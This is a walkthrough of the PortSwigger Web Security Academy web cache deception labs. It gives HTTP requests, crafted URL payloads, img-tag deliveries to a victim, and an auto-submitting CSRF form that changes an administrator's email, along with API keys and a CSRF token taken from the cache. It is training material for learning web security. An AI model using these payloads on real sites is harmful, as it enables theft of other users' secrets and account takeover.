WebSecurityAcademy (PortSwigger) – Web cache deception

Walk-through of the Web cache deception labs on PortSwigger Web Security Academy.

Apprentice – Exploiting path mapping for web cache deception

To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter.

Log in with credentials wiener/peter.

Identify the endpoint with sensitive information

Inspect requests in Burp. We find that API /my-account returns sensitive information (API Key) and that a cache is not used.

GET /my-account HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3824

[...]
<div>Your API Key is: ...</div>
[...]

Identify a discrepancy

Fuzz with the request. The modified request still returns the API key but does not use the cache.

GET /my-account/whatever?cachebuster=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3824
[...]
<div>Your API Key is: ...</div>
[...]

Add a file extension “.js” to the modified request. The modified request still returns the API key and now uses the cache (miss).

GET /my-account/whatever.js?cachebuster=2 HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3824

[...]
<div>Your API Key is: ...</div>
[...]

Craft a payload

Go to the exploit server. In the Body, add:

<img src="https://<LAB ID>.web-security-academy.net/my-account/whatever.js?cachebuster=victim"/>

Click on Store and click on Deliver to victim. Look at the exploit server log to make sure the victim executed the payload.

In Burp, send a request to the same URL:

GET /my-account/whatever.js?cachebuster=victim HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 28
X-Cache: hit
Content-Length: 3824

[...]
<p>Your username is: carlos</p>
<div>Your API Key is: U0D4Zw1EfYoyaaPATKzOodYmtljq0g3u</div>
[...]

We obtain the API Key of user carlos. Submit the key to complete the lab.

Practitioner – Exploiting path delimiters for web cache deception

To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter.

Log in with credentials wiener/peter.

Identify the endpoint with sensitive information

Inspect requests in Burp. We find that API /my-account returns sensitive information (API Key) and that a cache is not used.

GET /my-account HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 3833

[...]
<div>Your API Key is: ...</div>
[...]

Identify a discrepancy

Send the request to the Repeater module. The original request returns HTTP 200. Adding any character after the URL returns HTTP 404.

GET /my-account.whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 11

"Not Found"

Send the request to the Intruder module. Use this list as the payload: Web cache deception lab delimiter list (PortSwigger).

GET /my-account§delimiter§whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...

Two delimiters (“;” and “?”) return HTTP 200 instead of HTTP 404.

Add a file extension “.js” to the modified request. The modified request still returns the API key and now uses the cache (miss).

GET /my-account;whatever.js HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3833
[...]
<div>Your API Key is: ...</div>
[...]

Craft a payload

Go to the exploit server. In the Body, add:

<img src="https://<LAB ID>.web-security-academy.net/my-account;victim.js"/>

Click on Store and click on Deliver to victim. Look at the exploit server log to make sure the victim executed the payload.

In Burp, send a request to the same URL:

GET /my-account;victim.js HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 7
X-Cache: hit
Content-Length: 3833
[...]
<div id=account-content>
<p>Your username is: carlos</p>
<div>Your API Key is: gSAVnjNuVwdDDkExBXpjhUOBTfAtkduz</div>
[...]

We obtain the API Key of user carlos. Submit the key to complete the lab.

Practitioner – Exploiting origin server normalization for web cache deception

To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter.

Log in with credentials wiener/peter.

Identify the endpoint with sensitive information

Inspect requests in Burp. We find that API /my-account returns sensitive information (API Key) and that a cache is not used.

GET /my-account HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3824

[...]
<div>Your API Key is: ...</div>
[...]

Identify a discrepancy

Add a custom column in the HTTP history tab.
return requestResponse.response().headerValue(“X-Cache”);

We find the only delimiter that works is “?”. See previous lab for details.

We find that /resources use the cache:

GET /resources/labheader/images/logoAcademy.svg HTTP/2
GET /resources/js/tracking.js HTTP/2
[...]
HTTP/2 200 OK
Content-Type: image/svg+xml
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: hit
Content-Length: 8718
[...]

We find that path traversal is possible:

GET /resources/../resources/labheader/images/logoAcademy.svg HTTP/2
HTTP/2 200 OK
Content-Type: image/svg+xml
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: hit
Content-Length: 8718
[...]

Trying accessing the profile with a path starting with /resources.

GET /resources/..%2fmy-account HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=

Craft a payload

Go to the exploit server. In the Body, add:

<img src="https://<LAB ID>.web-security-academy.net/resources/..%2fmy-account?cachebuster=victim"/>

Click on Store and click on Deliver to victim. Look at the exploit server log to make sure the victim executed the payload.

In Burp, send a request to the same URL:

GET /resources/..%2fmy-account?cachebuster=victim HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 28
X-Cache: hit
Content-Length: 3824

[...]
<div id=account-content>
<p>Your username is: carlos</p>
<div>Your API Key is: P1sLWoSLvAWTd4VIpKm7B0ENU9qOTIKG</div>
[...]

We obtain the API Key of user carlos. Submit the key to complete the lab.

Practitioner – Exploiting cache server normalization for web cache deception

To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter.

Log in with credentials wiener/peter.

Identify the endpoint with sensitive information

Inspect requests in Burp. We find that API /my-account returns sensitive information (API Key) and that a cache is not used.

GET /my-account HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3824

[...]
<div>Your API Key is: ...</div>
[...]

Identify a discrepancy

Fuzz with the request. The modified request still returns the API key but does not use the cache.

GET /my-account/whatever?cachebuster=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3824
[...]
<div>Your API Key is: ...</div>
[...]

Send the request to the Intruder module. Use this list as the payload: Web cache deception lab delimiter list (PortSwigger).

GET /my-account§delimiter§whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...

Delimiters “#”, “?”, “%23”, “%3F” return HTTP 200 instead of HTTP 404. Ignore the # character. It can’t be used for an exploit as the victim’s browser will use it as a delimiter before forwarding the request to the cache. Use %23 instead.

By inspecting requests, we also see that path with prefix “/resources/” is cached. Issue the request twice to hit the cache.

GET /resources/whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 3
X-Cache: hit
Content-Length: 11

"Not Found"

Use delimiter %23 (“#”) with static directory /resources. The cache is now used.

GET /my-account%23whatever%2f%2e%2e%2fresources HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
X-Cache: hit
Content-Length: 3824
[...]
<div>Your API Key is: ...</div>
[...]

Craft a payload

Go to the exploit server. In the Body, add:

<img src="https://<LAB ID>.web-security-academy.net/my-account%23victim%2f%2e%2e%2fresources"/>

Click on Store and click on Deliver to victim. Look at the exploit server log to make sure the victim executed the payload.

In Burp, send a request to the same URL:

GET /my-account%23victim%2f%2e%2e%2fresources HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 11
X-Cache: hit
Content-Length: 3866

[...]
<div id=account-content>
<p>Your username is: carlos</p>
<div>Your API Key is: 5VcRrPnfg9Ux1YRqszZmMoB8jB3ui8NQ</div>
[...]

We obtain the API Key of user carlos. Submit the key to complete the lab.

Expert – Exploiting exact-match cache rules for web cache deception

To solve the lab, change the email address for the user administrator. You can log in to your own account using the following credentials: wiener:peter.

Log in with credentials wiener/peter.

Identify the endpoint with sensitive information

Change your email address

POST /my-account/change-email HTTP/2
Host: 0aa900bc034363cb82dd15e5009000ab.web-security-academy.net
Cookie: session=...
Cache-Control: max-age=0
[...]

email=whatever%40example.com&csrf=<token>

There is a csrf token. The token can be found in my-account.

GET /my-account HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 3765

[...]
<input required type="hidden" name="csrf" value="<TOKEN>">
[...]

We want to get the administrator token to be able to do a Cross-Site Request Forgery (CSRF) on the email address change.

Identify a discrepancy

Send the request to the Intruder module. Use this list as the payload: Web cache deception lab delimiter list (PortSwigger).

GET /my-account§delimiter§whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...

Two delimiters (“;” and “?”) return HTTP 200 instead of HTTP 404.

Identify the cache rules. File robots.txt is cached. This is a match on exact filename (“robots.txt?whatever1” and “robots.txt?whatever2” are cached separately).

GET /robots.txt HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 25

User-agent: *
Disallow: 

Try a normalization by the cache server + static filename + delimiter “;”:

GET /my-account;%2f%2e%2e%2frobots.txt?cachebuster=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3765
[...]
<input required type="hidden" name="csrf" value="<TOKEN>">
[...]

Craft a payload

Go to the exploit server. In the Body, add:

<img src="https://<LAB ID>.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt?victim"/>

Click on Store and click on Deliver to victim. Look at the exploit server log to make sure the victim executed the payload.

In Burp, send a request to the same URL:

GET /my-account;%2f%2e%2e%2frobots.txt?victim HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=...
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 16
X-Cache: hit
Content-Length: 3675
[...]
<p>Your username is: administrator</p>
[...]
<input required type="hidden" name="csrf" value="eJnaAPLsfN8HaH0O7cboFYjLTjlNtXPY">
[...]

We get the csrf token for the administrator user.

Craft a CSRF payload. Go to the exploit server. In the Body, add:

<body onload='document.forms[0].submit()'>
<form action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
    <input required type="email" name="email" value="myprecious@example.com">
    <input required type="hidden" name="csrf" value="eJnaAPLsfN8HaH0O7cboFYjLTjlNtXPY">
    <button class='button' type='submit'> Update email </button>
</form>
</body>

Click on Store and click on Deliver to victim. Look at the exploit server log to make sure the victim executed the payload. The lab should now be solved.